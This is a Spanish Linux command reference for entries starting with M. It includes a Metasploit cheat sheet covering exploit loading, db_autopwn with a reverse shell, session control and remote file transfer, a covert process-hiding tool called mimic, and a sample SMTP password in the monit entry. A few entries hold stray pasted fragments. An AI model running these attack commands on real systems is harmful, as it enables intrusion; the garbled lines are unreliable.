Hacer video avi con imagenes jpg mostrando foto cada 2 segundos
```

fps=0.5 (cada 2 segundos)

fps=0.25 (cada 4 segundos)

```
$ mencoder video.avi -sub subtitulos.srt -oac copy -ovc lavc -o resultado_final.avi -subcp latin1 -font /usr/share/fonts/TTF/arial.ttf -subfont-text-scale 2.8
```

```
pegar subtítulos- *.srt- a un video- *.avi- especificando la fuente de letras y la medida
```

```
$ mencoder input.flv -ovc lavc -oac mp3lame -o output.avi
```

```
convertir flv a avi
```

```
$ mencoder -idx video_corrupto.avi -ovc copy -oac copy -o video_reparado.avi
```

```
Reconstruir un video dañado
```

```
$ mencoder -endpos 00:00:23 -ovc copy -oac copy entrada.avi -o salida.avi
```

```
Guardar los primeros 23 segundos de un video
```

```
$ mencoder -ss 00:00:02 -oac copy -ovc copy entrada.avi -o salida.avi
```

```
desechar los primeros 2 segundos de un video
```

```
$ mencoder -ss 00:00:10 -endpos 00:02:20 -oac pcm -ovc raw entrada.mkv -o salida.mkv
```

```
cortar desde los 10 segundos a los 2,20 minutos de un video con los codecs especificados [pcm y raw])
```

```
$ mencoder -oac copy -ovc copy -o resultado.avi *.avi
```

```
Unir todos los .avi de un directorio en un video "resultado.avi"
```

```
-ovc copy (Se utilizará la misma codificación de video que en el original)
```

```
-oac copy (Se utilizará la misma codificación de audio que en el original)
```

## mesg

Controla el acceso a la terminal por otros usuarios. Se utiliza para permitir o rechazar que otros usuarios escriban mensajes a la propia terminal

```
$ mesg y
autoriza
```

```
$ mesg n
desautoriza
```

## messages

Contar el número de mensajes del buzón.

```
# messages
```

```
Number of messages in /var/mail/root: 31
```

## metacaracteres

Permiten ampliar comandos o combinar varios para construir una única orden lógica. Son varios: la tubería [], redirección [<>], el asterisco [\*], la tilde [~, el simbolo dolar [\$], el circunflejo [^], el interrogante [?], la almodadilla [#], los corchetes [[]], parentesis [()], llaves [{}], arroba [@]...

```
$ date ; who
semicolon-punto y coma [;] es un separador entre ordenes que se ejecutan secuencialmente
```

```
$ date | wc -m
pipe-tubería [] mandar la salida de un comando a otro
```

```
$ date \
Backslash-barra inversa [\] posibiita escribir ordenes en la siguiente línea
```

```
> | wc -m
```

```
$ ls \*textos*/
tambien permite escapar un carácter. Por ejemplo listara el directorio llamado *textos-largos
```

```
$ (date | who) | wc
parentesis [
)] aíslan ordenes separadas por punto y coma o tubería y se ejecutan como una única orden
```

```
$ ls {*txt,*sh}
llaves [{}] Crea un bloque de código ejecutado en el propio interprete. Listará todos los .txt y .sh
```

```
$ htop &
Ampersand-et [&] Indica que ejecuta un trabajo en segundo plano [background] liberando la terminal donde se ha lanzado
```

```
$ jobs
```

```
[1]+  Aturat          htop
```

```
$ %1
```

```
htop
```

```
$ ld || date
OR [||] Sólo se ejecuta la siguiente orden si la primera falla
```

```
$ ld && date
AND [&&] Sólo se ejecuta la siguiente orden si la primera tiene éxito
```

```
$ date > ~/fecha.txt
redirigir la salida del comando date a un archivo [>] en el directorio del usuario [~]
```

## M

```
$ ls | grep png$  
dolar [$] buscar los archivos que terminan con png
```

```
$ ls | grep ^c  
caret-circunflejo [^] buscar los que empiezan por c
```

```
$ ls | grep ???  
interrogante [?] substituye un coracter, por tanto en el ejemplo buscar los archivos con 3  
caracteres
```

Nota.- Algunos metacaracteres, según el contexto, pueden tener otros significados. Por ejemplo el dolar [\$] puede referirse a una funcion:

```
$ echo $HOME
```

## metacity

gestor de ventanas

```
$ metacity --replace  
activar metacity
```

## metapixel

Generar mosaicos de fotos [collage].

```
$ mkdir collage  
Crear el directorio
```

```
$ metapixel-prepare --width=10 --height=10 -r Imatges/ collage  
Copiar con las medidas introducidas [width y height] desde el directorio de imágenes de forma  
recursiva [-r] al directorio creado
```

```
$ metapixel --metapixel Imagenes/imagen.jpeg destino.jpg --library collage/  
Que coja la imagen.jpg del directorio Imagenes y la convierta en destino.jpg usando el directorio  
"collage"
```

## metasploit

Herramienta utilizada para realizar pentesting, tanto para comprometer sistemas como para obtener datos antes y después de comprometerlo. Los módulos auxiliares se pueden usar para el escaneo de puertos, la identificación del servicio, el rastreo de contraseñas y la enumeración de parches. Para empezar es necesario tener activado el servicio postgresql, crear la configuración inicial y luego iniciar Metasploit Framework:

```
# service postgresql start
```

```
$ msfd
```

```
# msfconsole ()crea la base de datos en /home/usuario/.msf4/db
```

Cada exploit tiene uno de siete posible rangos; excelente (mejor elección), grandioso, bueno, normal, promedio, bajo, y manual (peor elección). Un rango bajo del exploit, implica la probabilidad de causar algún daño en el objetivo, o no estar en la capacidad de entregar el payload seleccionado. Unos comandos básicos:

```
msf6 > help show (mostrar los parámetros disponibles para el comando show)
```

```
msf6 > show exploits (Mostrar todos los exploits del Framework)
```

```
msf6 > show payloads (Mostrar todos los payloads del Framework)
```

```
msf6 > show targets (lista de sistemas operativos que son vulnerables al exploit seleccionado)
```

```
msf6 > set payload nom_paylo (cargar un payload especifico)
```

## M

---

```
msf6 > show auxiliary (Mostrar todos los módulos auxiliares del Framework)

msf6 > help search (búsqueda con exploits con palabras clave)

msf6 > search name:2018 (buscar módulos con un ID de NAME de 2018)

msf6 > search nom_explo (Búsqueda por nombre del exploit)

msf6 > search localhost (encontrar herramientas relacionadas con localhost)

msf6 > search type:[exploit, payload, auxiliary, encoder, post] [nom_explo] (Búsqueda por tipo y nombre del exploit)

msf6 > use nom_explo (Carga el exploit indicado)

msf6 > show options (Muestra las opciones de un exploit)

msf6 > info (Muestra información acerca de un exploit cargado)

msf6 > set RHOSTS 192.168.154.0/24 (asignar valor a las variables)

msf6 > set SRVPORT 80 (asignar puerto)

msf6 > run (realizar la ejecución del módulo/auxiliary cargado)

msf6 > back (salir del exploit que se está usando)

msf6 > connect 192.168.1.34 23 (conectar a un host)

msf6 > jobs (Se trata de módulos que se encuentran en ejecución en segundo plano. Permite listar y terminar trabajos existentes.

msf6 > connect -s 192.168.1.34 22 (conectar con SSL a un host por el puerto 22)

msf6 > load -l (listar los plugins disponibles)

msf6 > load Plugin (cargar un plugin del listado anterior)

msf6 > unload Plugin (descargar el plugin)

msf6 > show encoders (mostrar codificadores compatibles)

msf6 > use exploit/windows/http/struts2_rest_xstream (usar un exploit concreto)

msf6 > sessions -l (ver sesiones activas)

msf6 > sessions -l -v (Muestra la lista de sesiones disponibles en modo verbose)

msf6 > sessions -i <session-id> (entrar en una sesión específica)

msf6 > sessions -i 1 (interactuar con la primera sesión)

msf6 > sessions -s script (Ejecuta un script específico en todas las sesiones activas)

msf6 > sessions -K (Mata todas las sesiones activas)

msf6 > sessions -c cmd (Ejecuta un comando en todas las sesiones activas)

msf6 > exploit -j (Ejecuta un exploit en background)

msf6 > exploit -z (No interactúa con la sesión después de acceder con éxito)

msf6 > exploit -e encoder (Especifica el encoder a usar con el payload)

msf6 > exploit -h (Muestra la ayuda para el exploit especificado)

msf6 > db_create nombre (Crea una base de datos)

msf6 > db_connect nombre (Crea y se conecta a una base de datos)
```

## M

---

```
msf6 > db_nmap (Usa y carga los resultados de Nmap en una base de datos)

msf6 > db_autopwn -h (Muestra la ayuda para usar db_autopwn)

msf6 > db_autopwn -p -r -e (Ejecuta db_autopwn contra todos los puertos encontrados, usa una shell reversa y los explota)

msf6 > db_destroy (Elimina la actual base de datos)

msf6 > db_destroy usuario:contraseña@host:puerto/base_de_datos (Borra una base de datos concreta)

msf6 > db_status (Verificar el estado operativo de la base de datos)

msf6 > hosts (todos los hosts registrados en la base de datos)

msf6 > services (enumerar los servicios registrados en la base de datos)

msf6 > vulns (Detallar todas las vulnerabilidades registradas en la base de datos)

msf6 > upload ./localpath/data.txt C:\Temp\data.txt (transferir un archivo local al remoto)

msf6 > download C:\Temp\data.txt ./localpath/data.txt (descargar un archivo del remoto a local)

msf6 > exit (salir de metasploit)
```

```
# msfupdate
actualizar la base de datos de exploits
```

## mgen

Ofrece la capacidad de realizar pruebas y mediciones de rendimiento de la red IP utilizando el tráfico TCP y UDP/IP. Los mensajes de prueba se pueden generar, recibir y registrar. mgen ofrece control sobre todos los parámetros de red y la sincronización de estos mensajes. Información: <https://github.com/USNavalResearchLaboratory/mgen/blob/master/doc/mgen.pdf>

## mi

muestra información sobre los dispositivos montados [dispositivo de bloques, punto de montaje, opciones de montaje y sistema de ficheros utilizado]. Ver di

```
$ mi
```

## microfono

(activar micro del monitor).

```
# gedit /etc/modprobe.d/alsa-base.conf
```

Añadir:

```
options snd_hda_intel model=laptop options snd-hda-intel position_fix=1 enable=yes
```

Reiniciar

## midori

Navegador web. Los archivos de configuración en .config/midori/

1.-

Añadir buscadores:

En el desplegable "Añadir motores de búsqueda" colocar el nombre y en "comando" (en el ejemplo duckduckgo):

```
https://duckduckgo.com/?q=%s
```



## migrate-pubring-from-classic-gpg

Migra el formato de llavero "clásico" de contraseñas pubring.gpg al formato de llavero "moderno", utilizado en las versiones 2.1 o 2.2 de GnuPG, pubring.kbx. Especificando --default se selecciona el directorio de inicio estándar de GnuPG ~/.gnupg.

```
# migrate-pubring-from-classic-gpg --default
```

## mii-tool

Muestra información similar a ethtool (Ver)

```
# mii-tool eth0
```

## mimetype

Determina el tipo de archivo.

```
$ mimetype -a archivo.md
```

```
$ mimetype -M archivo.sh
```

```
No verificar por la extension, solo por el contenido del archivo
```

## mimic

Herramienta de ejecución encubierta. La ejecución encubierta es el arte de ocultar de la vista a un proceso.

```
$ mimic -e "script.sh"
```

```
$ mimic -b -e "./script.sh"
```

```
en background
```

## mimms

Grabación de emisoras.mencoder mf://\*.jpg -ovc lavc -o out.avi

```
$ mimms -t 2 mms://viplagardere.yacast.net/encodereurope2
```

```
2 minutos
```

## minfo

Herramienta que imprime los parámetros de un sistema de archivos MS-DOS, como el número de sectores, cabezas y cilindros. También imprime una línea de comandos mformat que puede utilizarse para crear un sistema de archivos MS-DOS similar en otro soporte.

## miniflux

[libreadline-dev libconfig-dev libssl-dev lua5.2 liblua5.2-dev libevent-dev libjansson-dev libpython-dev make]. Lector RSS instalado en local o en un servidor. Simplemente se descarga la aplicación de <http://miniflux.net/> y, una vez descomprimida, se copia al directorio web (generalmente /var/www) . Se accede colocando en la barra de direcciones: http://localhost/miniflux (Por defecto el nombre de usuario y contraseña son admin:admin)

Atajos de teclado:

```

gu (Ir a leídas)
gb (Ir a marcadores)
gh (Ir al historial)
gs (Ir a suscripciones)
gp (Ir a preferencias)
s (Descargar contenido)
p (Noticia anterior)
n (Noticia siguiente)
m (Marcar como leído)
v (Abrir la noticia original)
o (Desplegar la noticia)
f (Añadir a favoritos)
h (Ir a página precedente)
l (Ir a página anterior)
? (Abrir la ayuda de los atajos de teclado)
q (Cerrar la ayuda)

```

## mirmon

Comprueba el estado de los espejos de Debian. Visualizarlos en el navegador con la ruta: `/var/lib/mirmon/debian-mirror-check.html`. El archivo de configuración en `/etc/mirmon.conf`.

```
# mirmon -v -get update
Actualizar estado de los mirrors con la maxima información
```

```
# mirmon -v -get url http://ftp.es.debian.org/debian/
sondear la url de un mirror
```

## miscfiles

Conjunto de archivos no cruciales para la administración u operación del sistema, pero se han vuelto comunes en varios sistemas a lo largo de los años. Se originaron de varias fuentes y son libremente redistribuibles (consulte el archivo de copyright para obtener más información). Hacen referencia principalmente a temas ingleses como: Lista de códigos de tres letras para algunos de los principales aeropuertos, códigos de área telefónica de América del Norte), códigos postales para estados de EEUU yY provincias canadienses, la constitución de los Estados Unidos de América y la declaración de la independencia de las trece colonias aunque tambien incluyen otros como: tabla de precedencia para operadores en lenguaje C, descripción del conjunto de caracteres ISO Latin-1, códigos de dos letras para idiomas, de ISO 639, códigos telefónicos de países internacionales, coordenadas geográficas de muchas ciudades importantes, algunas abreviaturas comunes utilizadas en la comunicación electrónica, listas de correo GNU, abreviaturas de países y monedas, índice rfc, etc.). Se puede acceder a todo el material con el navegador, a los diccionarios y listados de palabras: `file:///usr/share/dict/` y a los documentos: `file:///usr/share/doc/miscfiles`.

## mispipe

[moreutils]. mispipe se comporta como cualquier tubería de la shell, incluyendo comandos independientes, pero a diferencia de las clásicas tuberías, que sólo devuelven el estado de salida del último comando, mispipe devuelve el estado de salida del primer comando si este falla.

```
$ mispipe ls "echo "NO""
```

## mjpg-streamer

Streaming de video

```
$ mjpg_streamer -i "input_uvc.so -y -f 5" -o output_http.so -p 3000 -n -c USER:CONTRASEÑA -b
```

Opciones:

```
-f frames por segundo
-y cambiar formato mjpg por yuv (cuando mjpg da problemas)
-b background
-n liberar terminal (conjuntamente con -b)
-c usuario:contraseña
Y en el navegador:
```

`http://localhost:3000/?action=snapshot` (tomar una foto)

`http://localhost:3000/?action=stream` (reproducir video)

Matar el proceso con:

```
$ kill -9 `pidof mjpg_streamer`
```

## mk-build-deps

Crea un paquete que satisfaga las dependencias de compilación de un paquete.

```
$ mk-build-deps emacs25
crea un paquete emacs25-build-deps_25.1+1-4+deb9u1_amd64.deb con todas las dependencias de
emacs25
```

```
$ mk-build-deps -i emacs25
lo instala todo
```

## mkcert

Generar certificados SSL [protocolo seguro HTTPS] firmados localmente.

```
$ apt install wget curl libnss3-tools
```

```
$ mkcert -install
generar el Certificate of Authority [CA]
```

```
$ mkcert -CAROOT
localizar donde se guarda el CA
```

```
$ mkcert localhost
generar el certificado para localhost
```

El comando anterior genera en el directorio donde se lanza los archivos `localhost.pem` y `localhost-key.pem`. A continuación crear el archivo:

```
# nano /etc/apache2/conf-available/ssl-params.conf
```

Con el contenido:

```
SSLCipherSuite ECDH+AESGCM:EDH+AESGCM:AES256+ECDH:AES256+EDH

SSLProtocol All -SSLv2 -SSLv3 -TLSv1 -TLSv1.1

SSLHonorCipherOrder On

# Disable preloading HSTS for now. You can use the commented out header line that includes
# the "preload" directive if you understand the implications.

# Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"

Header always set X-Frame-Options DENY

Header always set X-Content-Type-Options nosniff

# Requires Apache >= 2.4

SSLCompression off
```

## M

```
SSLUseStapling on

SSLStaplingCache "shmcb:logs/stapling-cache(150000)"

# Requires Apache >= 2.4.11

SSLSessionTickets Off
```

A continuación editar y modificar/añadir en el archivo:

```
# nano /etc/apache2/sites-available/default-ssl.conf
```

los parámetros:

```
ServerAdmin usuario@localhost

ServerName localhost
```

Para redireccionar todo el tráfico http a cifrado SSL [https]

```
# nano /etc/apache2/sites-available/000-default.conf
```

Y en el apartado correspondiente descomentamos o modificamos la línea:

```
Redirect permanent "/" "https://localhost/"
```

Habilitar los módulos de apache necesarios para SSL y el host virtual:

```
# a2enmod ssl

# a2enmod headers

# a2ensite default-ssl
```

Comprobar que no existan errores de sintaxis en los archivos:

```
# apache2ctl configtest
```

```
# systemctl restart apache2
reiniciar apache2
```

Si existen cortafuegos tipo ufw han de reconfigurarse [ufw allow 'Apache Full']. Podemos comprobar si se ha realizado todo el proceso correctamente colocando en la barra del navegador la dirección <https://localhost>. El certificado creado no está firmado por una de las autoridades de confianza del navegador y es probable que se vea una alguna advertencia al respecto. clicmos en ADVANCED y luego en el enlace proporcionado para acceder a su host

## mkdir

Crear directorios.

```
$ mkdir -p A B C
Crea el directorio A en su interior el B y dentro de este el C
```

```
$ mkdir -m=rwx
Especifica los permisos del directorio que se crea
```

```
$ mkdir -p -m=x /home/ct/videos/res/tot
creará los nuevos directorios videos, res i tot y dará permisos de ejecución [x] al usuario ct
```

```
$ mkdir -p project/{lib/ext,bin,src,doc/{html,info,pdf},demo/stat/a}
creación de varios directorios y subdirectorios
```

```
$ mkdir uno dos tres
crear directorios uno, dos y tres
```

```
$ mkdir R{1..9}
Crear los directorios del R1 al R9
```

## mkdosfs

Formatear a sistema de archivos msdos

```
# mkdosfs -c /dev/fd0
```

## mke2fs

Formatear a sistema de archivos ext2

```
# mke2fs -c /dev/fd0
formatea a ext2 el floppy
```

## mkeot

[eot-utils]. Genera tipografías en formato EOT desde TTF y OTF. Comando necesario para convertir las fuentes en TTF al formato EOT para ser usado con la propiedad font-face de CSS3, formato requerido por Internet Explorer.

```
$ mkeot neuropol_x_free.ttf > neuropol_x_free.eot
```

## mkfifo

Crear una tubería que tanto sirve para permitir que la salida de una aplicación sea la entrada de otra como redirección de cualquier dato de salida que pueda ser grabado a disco.

```
$ mkfifo pipe
crear la tubería. Lanzando ls -l pipe la primera letra que mostrará será una p de pipe [tubería]
```

```
$ ifconfig > pipe
La consola se bloqueará esperando soltar la tubería
```

```
$ cat pipe
Ejecutado desde otra terminal pst o tty ejecutará la tubería
```

## mkfs

Formatear dispositivos a sistemas de archivo ext2,3,4, vfat....

```
# mkfs -t ext3 /dev/sda4
Formatea a ext3 la partición indicada
```

```
# mkfs.ext3 /dev/sda7
otro modo
```

```
# mkfs.ext2 -c /dev/sda1
a ext3
```

```
# mkfs.ext4 -c /dev/sda2
a ext4
```

```
# mkfs.msdos -c /dev/fd0
formatea a msdos
```

```
# mkfs.vfat /dev/sda1
formatear en fat 32
```

```
# mkfs.vfat -n datos /dev/sdd1
formatear en fat32 y con etiqueta datos
```

## mkinitcpio

Herramienta de creación de imágenes de arranque del kernel en ArchLinux

```
# mkinitcpio -L
Ver lista de hooks
```

```
# mkinitcpio -p linux (Cremencoder mf://*.jpg -ovc lavc -o out.avi
```

a la imagen con el preset seleccionado)

```
# mkinitcpio -c /etc/mkinitcpio.conf -g /boot/linux.img
crea manualmente la imagen de inicio, especificando el archivo de configuración y el destino
```

## mkisofs

Crear imágenes de ficheros

```
$ mkisofs -r -l -o imagen.iso fichero
```

```
$ mkisofs /dev/cdrom > cd.iso
```

crear una imagen iso del cdrom en disco

## mknod

Crear archivos de dispositivos que no se encuentran en el sistema.

```
# mnod -m 644 /dev/ttyS4 c 4 64
```

con permisos 644, crear el dispositivo de carácter [c] ttyS0 e intervalo entre el máximo y el mínimo

Una vez creado precisa otorgar propietarios:

```
# chown root:dialout /dev/ttyS4
```

Otro ejemplo

```
# mnod -m 640 /dev/loop8 b 7 8
```

con permisos 640, especificando que es un dispositivo de bloques [b] e intervalo entre el máximo y el mínimo

```
# chown root:disk /dev/loop8
```

Otorgar propiedad

## mkntfs

Crear particiones ntfs.

```
$ mkntfs -L win -F /dev/sdb2
```

con etiqueta win y forzando

## mkpasswd

Encriptar contraseñas. Si la contraseña no se especifica, la pedirá por pantalla

```
$ mkpasswd
```

Uso básico

```
$ mkpasswd password
```

Encripta "password". Si no se especifica "method" [-m] se usa md5 por defecto

```
$ mkpasswd -m help
```

Muestra las opciones de encriptación

```
$ mkpasswd -m sha-512 password
```

Usando sha-512 para la contraseña "password"

## mkswap

Crear un espacio de intercambio.

```
# mkswap /dev/sda5
Luego añadir la entrada en /etc/fstab: /dev/sda4 none swap sw 0 0
```

## mktemp

[coreutils]. Crear archivos o directorios temporales.

```
$ mktemp
Crea un fichero temporal en /tmp
```

```
$ mktemp -d
Crea un directorio en tmp y en su interior un archivo
```

```
$ mktemp --tmpdir=documentos
crea un archivo temporal en el interior del directorio "documentos"
```

## mktorrent

Crear archivos bittorrent.

```
$ mktorrent -v -p -a http://url.com -o nombre.torrent
mostrar máxima información, con el flag "privado", url del rastreador y especificar nombre del torrent
```

## mlabel

Poner etiquetas a las particiones y dispositivos vfat

```
# mlabel -i /dev/sda2 ::vfat
```

## mlcc

Configuración para mlterm. Las opciones susceptibles de modificación son las reflejadas en /usr/share/doc/mlterm/PROTOCOL.gz apartado Values for each key

```
$ mlcc fg_color blue
```

```
$ mlcc bg_color red
```

## mlterm

Emulador de terminal para X Window System, que admite varias codificaciones. Verifica la configuración regional y selecciona la codificación adecuada, no es preciso configurar mlterm para mostrar idioma o codificación. Las codificaciones incluidas son: ISO-8859-[1-11,13-16], TCVN5712, VISCII, TIS-620 (same as ISO-8859-11), KOI8-{R,U,T}, CP{1251,1255}, GEORGIAN-PS, EUC-JP, EUC-JISX0213, ISO-2022-JP{,1,2,3}, Shift\_JIS, Shift\_JISX0213, ISO-2022-KR, EUC-KR, UHC, JOHAB, EUC-CN (aka GB2312), GBK, ISO-2022-CN, Big5, EUC-TW, HZ, UTF-8, y GB18030.

```
$ mlterm -b blue -f yellow -g 50x10
Especificando color de fondo [b] color de fuente [f] y medidas
```

## mmaker

Herramienta para la creación de menús basados en XML

```
$ mmaker -v OpenBox3
Mostrando el proceso y sin sobrescribir el menu.xml anterior
```

```
$ mmaker -f OpenBox3
Sobreescribiendo el menu.xml anterior
```

```
$ mmaker -f -s KDE,Xfce,XWindow OpenBox3
Omitiendo los menús de los escritorios especificados
```

```
$ mmaker -f OpenBox3 -s Console
Omitir del menú las aplicaciones que sólo son para consola
```

## mmv

Cambiar el sufijo del nombre de los archivos.

```
$ mmv "*.PNG" "#1.png"
Renombrar todas las extensiones "PNG" a "png", conservándose el nombre que las precede.
```

```
$ mmv "/*.abc" "#1#2.cba"
Renombrar todas las extensiones "PNG" a "png" del directorio actual y sus subdirectorios
```

```
# mmv /*.PNG #1#2.png
Renombrar todos los ficheros del sistema
```

```
$ mmv "*.flv.mpg" "#1.mpg"
Renombrar todos los archivos terminados en .flv.mpg a .mpg
```

## moc

Reproductor de música.

Copiar el archivo de configuración al directorio personal:

```
$ cp /usr/share/doc/moc/examples/config.example.gz ~/.moc/
$ cd ~/.moc/
$ gzip -d config.example.gz
$ mv config.example config
El listado de temas
```

```
$ ls /usr/share/moc/themes.
```

```
black_theme darkdot_theme example_theme green_theme moca_theme nightly_theme
red_theme transparent-background yellow_red_theme
Para hacer definitivo el cambio, el que se escoja se coloca en:
```

```
$ nano .moc/config:
```

```
# Theme file. This can be absolute path or relative to
# /usr/share/moc/themes/ (depends on installation prefix) or ~/.moc/themes/
Theme = moca_theme
```

```
$ mocp
arrancar la aplicación
```

Teclas de control:



```

> (subir volumen 1%)
< (Bajar volumen 1%)
, (Bajar volumen 5%)
. (Subir volumen 5%)
h (Lista de teclas)
T (Para cambiar el tema. Sólo para la presente sesión)
n (Reproduce siguiente canción)
b (Reproduce la canción anterior)
A (Añade un directorio a la lista de reproducción)
a (Añade solo un archivo a la lista)
c (Quita un archivo de la lista de reproducción)
C (Borra toda la lista)
q (Pasar a segundo plano. Vuelve a primer plano, según la ditro con: ./moc, moc, ./mocp)
Q (Cierra totalmente el programa)
l (Cambia de doble ventana a ventana simple y viceversa)
tabulador (Cambiamos de pantalla, en caso de estar dividida)
p o espacio (Pausar)
enter (Play)
Ctrl + u (Para entrar una url. Pulsando intro la incluye en playlist)
d (Borrar una url del playlist)
1.-

```

error "Could not find codec parameters"

En algunas ocasiones (Debian) puede que falte el paquete libav y tenga que lanzarse:

```
$ mocp -O "PreferredDecoders+=mp3(mp3,ffmpeg)"
```

Si funciona, colocar la linea en .moc/config:

```

PreferredDecoders      += mp3(ffmpeg)
2.-

```

Una pequeña lista de url musicales (Tambien válidas para vlc u otros reproductores en streaming):

```

# Ibiza
http://s6.viastreaming.net:7010
# City Dance
http://streaming.radionomy.com:8000/City-Dance-Radio
# Dance-Makina
http://uplink.duplexfx.com:8044
# Progressive
http://85.25.86.69:8000/
# De los 90
http://91.121.38.216:8018/
# Hardcore
http://eilo.org:8000/happycore
# Punk-Rock
http://broadcast.rantradio.com:9000
# Heavy Metal
http://s5.voscast.com:7346/
# Black-Metal
http://radio.hazzardofdarkness.com:6666/ (Black-Metal
# Rock Alternativo
http://66.55.148.27:10054
# Piano Jazz
http://80.94.69.106:6814/
# Relax New Age
http://radio2.trancemission.fm:80/
# Hip-Hop
http://sc4.spacialnet.com:26368/
# Italiana
http://italia.lolliradio.net:8010/
# Beattles
http://uplink.duplexfx.com:8062/
# Pop
http://listen.radionomy.com/lonestar-radio
# Rock-Pop, britpop
http://listen.radionomy.com/walesfm
3.-

```

Moc también puede ser usado en modo servidor lo que nos permite liberar la terminal.

```
$ mocp -S (Lanza el modo servidor)
$ mocp -p (Reproduce el playlist)
$ mocp -f (Avanza al siguiente track del playlist)
$ mocp -r (Retrocede al anterior track del playlist)
$ mocp -s (Para la reproducción)
$ mocp -P (Pausa la reproducción)
$ mocp -x (Mata el servidor)
```

## modem-3g

Instalación de modems inalámbricos:

```
# apt-get install usb-modeswitch
$ wget http://www.sakis3g.org/versions/latest/i386/sakis3g.gz
$ gzip -d sakis3g.gz
$ chmod +x sakis3g
$ ./sakis3g --interface
```

## modinfo

Información sobre módulos.

```
$ modinfo sr_mod
```

## module-assistant

Paquete específico de Debian para la instalación de controladores.

```
# m-a
abre la interficie ncuses del programa

# m-a a-i paquete
seleccionar un módulo

# m-a list
ver lista de paquetes disponibles
```

## modulos

Comandos relacionados con el manejo de los módulos del kernel

```
# ls -R /lib/modules/$(uname -r)
Lista todos los modulos disponibles

# modinfo /ruta_al_modulo/modulo.ko
Muestra la información de un módulo

# insmod modulo.ko
instalar un modulo sin resolver dependencias

# modprobe modulo.ko
instalar un modulo incluyendo dependencias

# depmod -a
Generar la base de datos de dependencias de los modulos

# insmod --force modulo.ko
Fuerza la instalación de un módulo

# modprobe -n -v modulo.ko
```

## M

```
Muestra los modulos y sus dependencias
```

```
# lsmod
```

```
Muestra todos los modulos del kernel
```

```
# rmmod modulo.ko
```

```
Elimina un modulo
```

## mogrify

[imagemagick]. Cambiar formato y redimensionar imágenes de directorios. Se sobrescriben las imágenes.

```
$ mogrify -format jpg *.png
```

```
Cambiar el formato de varias imágenes
```

```
$ mogrify -format png -sample 20%x20% *.jpg
```

```
Reducir varias imágenes
```

```
$ mogrify -format png -thumbnail 10% *.jpg
```

```
Cambiar formato y crear miniaturas
```

```
$ mogrify -resize 50% *.jpg
```

```
reducir todas las imágenes al 50%
```

```
$ mogrify -strip imagen.jpg
```

```
eliminar metadatos de una imagen
```

```
$ mogrify -geometry 120x120 *.jpg
```

```
Crear miniaturas
```

```
$ mogrify -quality 60 *.jpg
```

```
Reducir la calidad
```

```
$ mogrify --auto-orient *
```

```
Reorientar todo el directorio
```

```
$ mogrify -resize 800 *.jpg
```

```
modificar todos los jpg de la carpeta y reducirlos manteniendo la relación a 800 pixels
```

```
$ mogrify -comment "comentario para introducir" salida.jpg
```

```
Entrar un comentario en los metadatos
```

```
$ mogrify -label "Texto de la etiqueta" input.jpg
```

```
Entrar una etiqueta
```

```
$ mogrify -comment @firma.txt input
```

```
Entrar un comentario a partir de un archivo firma.txt
```

## moggsplit

divide un flujo Ogg multiplexado en archivos separados. Por ejemplo, puede separar un OGM en flujos separados Ogg DivX y Ogg Vorbis, o un archivo Ogg Vorbis encadenado en dos archivos separados.

```
$ moggsplit file.ogg
```

## mokutil

Herramienta para importar o borrar las claves de propietario de máquina (MOK) almacenadas en la base de datos de shim. shim es un sencillo paquete de software diseñado para funcionar como cargador de arranque de primera etapa en sistemas UEFI. Una parte clave del diseño de shim es permitir a los usuarios controlar sus propios sistemas. La clave distro CA está integrada en el propio binario shim, pero también hay una base de datos adicional de claves que puede ser gestionada por el usuario, la llamada Machine Owner Key [MOK] Clave del Propietario de la Máquina. El usuario puede añadir y eliminar claves de la lista MOK, de forma totalmente independiente a la clave CA de la distro. La utilidad mokutil puede usarse para ayudar a gestionar las claves aquí desde la zona de usuario de Linux, pero los cambios en las claves MOK sólo pueden confirmarse directamente desde la consola en el momento del arranque. Esto elimina el riesgo de que el malware de la zona del usuario pueda registrar nuevas claves y, por tanto, eludir todo el punto de Secure Boot.

```
$ mokutil --sb-state
```

```
SecureBoot disabled
```

```
Platform is in Setup Mode
```

```
$ mokutil --disable-validation
```

```
$ mokutil --enable-validation
```

## molly-guard

Evitar paradas o reinicios de servidores desde consola remota. Editar:

```
# nano /etc/molly-guard/rc
```

Y descomentar la línea:

```
ALWAYS_QUERY_HOSTNAME=true
```

Cuando se intente parar o reiniciar el equipo vía ssh, saldrá una nota pidiendo el nombre de la máquina. Una vez introducida, se ejecutará el shutdown o reboot.

## mon

Herramienta para monitorear la disponibilidad de servicios y enviar alertas sobre eventos prescritos o fallas en un entorno servidor-cliente. Los servicios se definen como cualquier cosa probada por un programa de "monitorización", que puede ser algo tan simple como hacer ping a un sistema o tan complejo como analizar los resultados de una transacción a nivel de aplicación. Logs en /var/log/mon / si está activo el servicio se puede monitorear datos con la dirección http://127.0.0.1:2583/ en el navegador.

```
# monshow --full
```

```
# mon -d -S
```

```
en modo debug e iniciar con el planificador detenido
```

```
# mon -s /home/USER
```

```
especificando ruta para monitorear scripts
```

## monfailures

Programa que enumera los últimos fallos de la aplicación mom [ver].

```
# monfailures
```

## monit

Monitorizador de procesos en ejecución, servicios, demonios, espacios de disco, PIDs, checksums, archivos....

```
# monit status
Acceder a los informes
```

```
# monit -t
Comprobar errores de configuración [Control file syntax OK]
```

```
# monit -h
Listado de comandos disponibles
```

```
# monit quit
Salir
```

```
# monit start all
Arrancar todos los monitoreos
```

```
# monit stop ssh
Parar un monitoreo de un servicio
```

```
# monit restart all
Reiniciar todos los monitoreos
```

```
# monit summary
Mostrar resumen
```

Configuración:

```
# nano /etc/monitrc
Las entradas globales empiezan por set y los servicios concretos por check
```

Tiempo de actualización de datos, por defecto:

```
set daemon 60
Especificar el archivo de eventos (logs)
```

```
set logfile /var/log/monit.log
Configurar para el envío de notificaciones:
```

```
set mailserver localhost
set alert usuario@localhost.localdomain
set mail-format {
from: monit@$HOST
subject: $SERVICE $EVENT
message: $ACTION $SERVICE at $DATE on $HOST: $DESCRIPTION.
}
set mailserver mail@mail.com (servidor smtp que envia los correos [localhost para
notificación local]).
set alert user@hots.com (cuenta donde enviar los mensajes de alerta). Ejemplo para enviar
notificaciones a correo gmail (en negrita los datos a modificar):
set mailserver smtp.gmail.com port 587
username usuario@gmail.com password Tfer7E-6j
using tlsv1
with timeout 30 seconds
set alert usuario@gmail.com
Cambiar usuario y contraseña (por defecto: admin/monit)
allow usuario:contraseña
Especificar desde donde accederemos. Sólo acceso local [localhost:2812]:
```

set httpd port 2812 and use address localhost

allow localhost

o si queremos acceso remoto [http://ip\_o\_host:2812] modificar por:

```
